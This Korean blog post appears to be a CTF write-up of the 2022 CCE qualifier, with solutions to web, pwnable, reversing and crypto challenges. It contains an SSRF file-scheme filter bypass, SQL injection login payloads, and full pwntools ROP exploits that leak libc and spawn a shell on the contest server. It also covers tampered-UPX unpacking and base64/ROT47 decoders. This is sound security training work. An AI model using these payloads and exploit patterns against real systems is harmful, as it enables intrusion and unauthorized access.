security/CTF

2022 CCE 예선 - 청소년

민사민서 2023. 6. 8. 02:16

WEB HACKING [100] - Request forgery

SSRF 문제.

File Scheme을 이용해 서버 내부의 flag 파일을 읽어와야됐는데

URL 필터링 적용되어있음. => file:// , file:/// , etc 등등 필터링되어있는 것 같았음

필터링 걸렸을 시 '잘못된 URL' alert 창이 뜬다

file:/flag 해서 검색하면 'http://prob2.cstec.kr:5583/image.php?url=file%3A%2Fflag' 이렇게 GET 요청 가면서

다운로드 페이지로 감. untitled.png 다운로드 되는데 당연히 이미지파일은 아니고

hxd로 열어보니 이렇다~

WEB HACKING [100] - Login me

Easy blind SQL Injection

쿼리 예상 SELECT * FROM user WHERE id='$id' and pw='$pw' 이런 느낌

id='admin'인 계정을 가져오면 된다

' or 1=1 # 입력하니까 '관리자만 접근할 수 있다' alert 창이 뜨네 => user 정보가 가져오지긴 하는데 admin은 아닌가보다. admin이 첫 행이 아닌가보다

1) id = admin' #  , pw = 니맘대로

2) id = ' or 1=1 limit 1,1 , pw = 니맘대로 (바로 두번째 행에 있었네)

PWNABLE [100] - X64_ROP

IDA로 분석

main 함수에서 호출하는 서브루틴: rop, libc_leak, menu 등등이 있다

for_rop 함수 있었는데, IDA에서 디컴파일 안되길래 pwndbg로 살펴보니 ROP를 위한 가젯들이 들어있었다

 

보호기법: Partial RELRO, No Canary, No PIE

취약점: rop() 함수에서 char buf[16] (rbp-0x10 위치)를 정의하고 read(0, buf, 0x200) 받음으로써 bof 취약점 발생

 

1) GOT table에 들어있는 값(실제 라이브러리 함수의 주소)을 leak해서 libc_base를 구하고

2) main 함수로 돌아와서 다시 1을 택하고

3) system("/bin/sh")를 실행시키면 된다

 

삽 좀 품

이유1) 1)에서 리턴주소를 rop()로 하면 안되고 main()으로 해야 되더라. 왠지는 아직 모름

이유2) 3)에서 잘 작성했는데도 segfault 뜨길래 뭔가 했더니 no-op gadget 추가해서 stack alignment 맞춰주니 되더라

 

NOP Gadget 사용 (x64에서만 ㅋㅋㅋ)

system 함수 내에 movaps 명령어 있어서 데이터들이 16byte로 묶을 수 있는가를 확인함

movaps = mov aligned packed values이며 한번에 데이터를 다량으로 옮길때 사용되며 그 크기는 16 byte임

movaps로 16 byte씩 묶인다고 가정했을때 seg. fault가 뜬다는 것은 8 byte의 남는 (또는 모자란) 데이터가 발생한다는 의미임

nop gadget을 추가하여 8 byte를 뒤로 밀어버리면 16 byte씩 묶임

64bit에서 인자 순서

RDI - RSI - RDX - RCX - R8 - R9 - $RSP ... (까먹었을까봐)

라이브러리에서 특정 문자열 / 특정 함수 offset 구하는 법

1) pwndbg에서 vmmap 통해 라이브러리 매핑 주소 구함. p system / search "/bin/sh"로 주소 구함. offset 구함

2) 함수는 nm -D ./libc.so.6 | grep system  , 문자열은 strings -a -t x ./libc.so.6 | grep /bin/sh 이렇게~

pwntools plt 함수를 너무 믿지 마라

항상 print(hex(puts_plt)) 이렇게 crosscheck를 하는 편인데 e.plt['puts'] 하면 실제 plt 주소+4가 나오더라. 이유는 나도 몰?루

 

 

exploit 방향

puts(printf_got에 담긴 주소값) - main함수 리턴

leak된 6바이트 통해 system_addr , binsh_addr 구하고

system("/bin/sh")

from pwn import *

# p = process("./x64_rop")
p = remote("prob2.cstec.kr", 5339)
e = ELF("./x64_rop")

# gadgets
pppr = 0x4011fe # pop rsi;pop rdi;pop rdx; ret
ppr = 0x401202 # pop rsi; pop rdi; ret
pr = 0x401205 # pop rdi; ret
r = 0x401201 # ret

main_addr = e.symbols['main'] # 0x4012fa
printf_got = e.got['printf'] # 0x404020
puts_plt = 0x4010a0 # e.plt['puts'] 하면 0x4010a4 나옴

# puts(printf_got) and return to rop
p.sendlineafter("Enter choice : ", "1")
p.send(b'A'*0x10 + b'B'*0x8 + p64(pr) + p64(printf_got) + p64(puts_plt) + p64(main_addr))

libc_base = u64(p.recvline()[:-1]+b'\x00'*2) - 0x60770
sys_addr = libc_base + 0x50d60
binsh = libc_base + 0x1d8698

p.sendlineafter("Enter choice : ", "1")
# system("/bin/sh")
# no-op gadget 추가해줘야 잘 동작하네
p.send(b'A'*0x10 + b'B'*0x8 + p64(pr) + p64(binsh) + p64(r) + p64(sys_addr))

p.interactive()

PWNABLE [100] - X86_ROP

또옥같아. 근데 이제 인자 전달 방식이 다르니까 payload만 좀 달라지지

from pwn import *

p = remote("prob2.cstec.kr", 5340)
e = ELF("./x86_rop")

# address
puts_plt = e.plt['puts'] # 0x8049080
main_got = e.got['__libc_start_main'] # 0x804c00c
rop_addr = e.symbols['rop'] # 0x80492aa

# ROP gadgets
pr = 0x80491ea
ppr = 0x80491e7
pppr = 0x80491e3


p.sendlineafter("Enter choice : ", "1")
# DUMMY 0x18 + DUMMY SFP + puts@plt + popret + __libc_start_main@got + rop()
p.send(b'A'*0x18 + b'B'*0x4 + p32(puts_plt) + p32(pr) + p32(main_got) + p32(rop_addr))

libc_base = u32(p.recvline()[:4]) - 0x21560
# gdb.attach(p)

# system function & "/bin/sh" in libc.so.6 library
sys_addr = libc_base + 0x48150
binsh = libc_base + 0x1bd0f5

# system("/bin/sh")
p.send(b'A'*0x18 + b'B'*0x4 + p32(sys_addr) + p32(pr) + p32(binsh))

p.interactive()

REVERSING [100] - igeMOZI

이름에 힌트.

우리가 흔하게 사용하는 UPX 패킹은 툴만 있으면 손쉽게 풀 수 있다.

MOZI 라는 IOT 봇넷은 UPX 구조를 변경해 악성코드를 숨긴다. 즉 UPX 패킹된 파일을 한단계 더 변조시킨다

 

https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html 여기 참고해서 알아낸

ANTI-UPX Unpacking Techniques

1. UPX 헤더 변조

struct l_info       // 12-byte trailer in header for loader (offset 116)
{
    uint32_t l_checksum;
    uint32_t l_magic;    // magic number = "UPX!"
    uint16_t l_lsize;
    uint8_t  l_version;
    uint8_t  l_format;
};

struct p_info       // 12-byte packed program header follows stub loader
{
    uint32_t p_progid;
    uint32_t p_filesize;
    uint32_t p_blocksize;
};

UPX-packed binary (ELF 파일)는 0xE8부터 l_info , p_info 구조체를 차례로 가진다

"l_magic" (0xEC, UPX! 4바이트)가 변조되거나

"p_filesize", "p_blocksize" (0xF8l 0xFC)가 zero-padding 혹은 터무니없는 값으로 채워지거나

 

cf) footer에서 파일 끝 - 0xC 위치에 p_filesize 저장되어있다, footer에 UPX magic bytes 2개 위치한다, 두번째 magic bytes 뒤에 l_version&l_format 있다

https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/

 

2. "UPX!" magic number 변조

단순히 header, footer의 "UPX!" magic number를 다른 bytes로 변조

Mozi botnet UPX unpacker

https://github.com/cartoon-raccoon/mozibgone

p_info , l_info 헤더가 손상된 언패킹 파일에 대해서 UPX 언패킹을 지원한다고 하네..

문제  해결순서

1. UPX! magic number 손상 해결

- file footer에 UPX! magic number 2개가 ABC!로 변조되어있어서 고쳐줌

- p_filesize = 0x000DBCB0 인데 p_blocksize를 모르겠네...

 

2. p_info 헤더의 손상된 부분 해결

- p_filesize = p_blocksize = 0xFFFFFFFF 로 채워져있다

- p_blocksize 를 알려고 갖은 노력을 했지만 (p_filesize와 동일한 값으로 채우기도 하고, footer에서 4바이트 찾아서 넣기도하고) 번번히 실패

=> mozibgone.py 파일을 사용했더니 언패킹 제대로 됐다!!

=> magic number 다 수정하고, 헤더만 손상된 상황이면 유용하게 쓰일듯~

 

3. 언패킹된 파일 분석

- 실행시키면 flag: 89 출력. 뭐 패킹되어있을때도 똑같았겠지. ghex로 열어서 문자열 중 의미있는게 없을까 했는데 없더라 ㅋㅋ

- IDA로 디컴파일 해보니

저기 v7에 복사되는 긴 문자열이 플래그 같지않나?!! 

뭔가 base64 느낌 나서 뒤에 padding 붙이고 돌려보니 (padding 안붙이면 bit 수 안맞음)   와우~!

CRYPTO [100] - BASE64

커스텀 키 테이블을 만들어서 base64 디코딩 및 인코딩을 하면 됩니다

standard base64는 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' key table 사용

주어진 data/encoded_data 이용해 key table 구하면 됨

 

base64 까먹었으면 여기서 확인 ㄱㄱ

https://codingpractices.tistory.com/entry/Base64-%EC%9D%B8%EC%BD%94%EB%94%A9%EC%9D%B4%EB%9E%80-%EC%A0%95%ED%99%95%ED%95%98%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0

org_text = "How many special people change? How many lives are livin' strange? Where were you while we were getting high? Slowly walkin' down the hall Faster than a cannonball Where were you while we were getting high? Someday you will find me Caught beneath the landslide In a champagne supernova in the sky Someday you will find me Caught beneath the landslide In a champagne supernova A champagne supernova in the sky Wake up the dawn and ask her why A dreamer dreams she never dies Wipe that tear away now from your eye Slowly walkin' down the ha11 Faster than a cannonball Where were you while we were getting high?"
binary_text = ""
new_text = "gsON3sYlmA+o8Nq/7H/lmaqFuhOFms6o7HllmQi/vTq3mN8omhwCkgqEjnu/8Tql8Q6oms/HjhUA3xrB8QwCuH6P3wiZune/3xi/8Q6okhOY3xiZjhV/3xi/3xi/8Q6ouHyBis/CuTqZjhiZvTqbmsONmx+oiHwEjH/CeTq+mNiC3xtZugqZ7hVE32ul8Nt/80qBjswC3s2o7HwCmQOC7QwEmaqnjsyTugqNune/3x/RigqNjs/EugqNugqNune/3si/ixtWmQ8ojs/AjzKo6HODuhtlkgqJmN6oiH/EmaqQjhJ+3sY/32rlihiZiaq0uhJ/7ntZ3xtZugqE7hJ+8HVWus6oghUo7gqpjswD8swAmQ6o8NyFuneCmNul3s/C3xtZugqGjN+o6HODuhtlkgqJmN6oiH/EmaqQjhJ+3sY/32rlihiZiaq0uhJ/7ntZ3xtZugqE7hJ+8HVWus6oghUo7gqpjswD8swAmQ6o8NyFuneCmNul322o7HllmnqluHJ/3xrY8syTmQOH7gqWm0qBjs6o8HDJ3wiljH6oin1oisl/3stliHUo7hJ+3swGjTqZun3oiHlJ322ouxe/7hY/80q+8Qylmn4o8Hl/3sJ/iQyT3stWun4oyH/FugqBjswB3xt/7n3o7nilkgqCmN8ouAeRmgqJmNyT3syJugqbmsONmx+oiHwEjH/CeTq+mNiC3xtZugqZ7b2V32ul8Nt/80qBjswC3s2o7HwCmQOC7QwEmaqnjsyTugqNune/3x/RigqNjs/EugqNugqNune/3si/ixtWmQ8ojs/AjzK="
base64_table = ['?' for i in range(64)] # custom table

for ch in org_text:
    binary_text += format(ord(ch), '08b')

while len(binary_text)%6 != 0:
    # '00' 추가할때마다 padding 1개씩 추가됨
    binary_text += '00'

for i in range(0, len(binary_text), 6):
    tmp = binary_text[i: i+6]
    index = int(tmp,2)
    base64_table[index] = new_text[i//6]

이렇게 custom key 구성한다

orginal text를 전부 bit화시킨 후 6bit씩 끊어서 key table 각 index에 어떤 문자가 대응되는지.

key table 10개 정도 빈다

base64_table[31] = '9'
base64_table[16] = '5'

encoded_flag = "7nqRmsVR7AD/mhOpmsyNnHyp7YO+mHORmHOAnHDpihFl95"
binary_flag = ""
decoded_flag = ""

for ch in encoded_flag:
    index = base64_table.index(ch)
    binary_flag += format(index, '06b')

binary_flag = binary_flag[:-4] # two paddings

for i in range(0, len(binary_flag), 8):
    tmp = binary_flag[i:i+8]
    decoded_flag += chr(int(tmp,2))

print(decoded_flag)

padding 2개를 뺀 플래그를 디코딩해보자

플래그에서 '9' 와 '5'는 아직 key table에서의 위치가 정해지지 않았다

 

padding이 2개이므로 '5'의  index는 xx 00 00 일 것이다. key_table에서 아직 정의되지 않은 index 중 16의 배수는 16뿐

=> base64_table[16] = '5'

플래그 마지막은 '}'로 끝날 것. '}'를 비트화하면 01 11 11 01 . padding 붙이면 01 11 11 01 00 00. 즉 index는 0b011111

=> base64_tabe[31] = '9'

 

CRYPTO [100] - ROT47

dec() 함수
1) 33 <= j <= 126 이면 (printable character면)
1-1) j<80이면 s[i] = String.fromCharCode(33+(j+14)) = String.fromCharCode(j+47) // ascii 80 ~ 126 해당
1-2) j>=80이면 s[i] = String.fromCharCode(33+(j+14-94)) = String.fromCharCode(j-47) // ascii 33 ~ 79 해당

2) j<33 또는 j>126 이면 그대로 s[i]로

encoded_flag = "2A@==@3LC~Ecf0u@CE*0DtGt?0C@Ecf0!2Dcf502&9N"
decoded_flag = ""

for ch in encoded_flag:
    tmp = ord(ch)
    if tmp<33 or tmp>126:
        decoded_flag += ch
    else:
        if tmp>=80:
            decoded_flag += chr(tmp-47)
        else:
            decoded_flag += chr(tmp+47)

print(decoded_flag)

암호화라고 할 것도 없네.. 그냥 shifting?

 

궁금해서 ROT47 찾아보니..

ROT13(Rotate by 13)은 단순한 카이사르 암호의 일종으로 영어 알파벳을 13글자씩 밀어서 만든다.

컴퓨터로 사용되는 암호 알고리즘 가운데 가장 단순한 종류이다. 알파벳 글자를 13자리 밀어내는 것으로 만든다

 

변형:

  • ROT47 : 알파벳 만이 아니라 모든 아스키 코드를 대상으로 한다.

 

 

 

 

 

 

  

 

 

WEB HACKING [100] - Login me

 

 

 

 

 

 

'security > CTF' 카테고리의 다른 글

[HSpace CTF] HSpace Notepad  (0) 2023.09.02
2022 CCE 예선 - 공용/일반  (0) 2023.06.10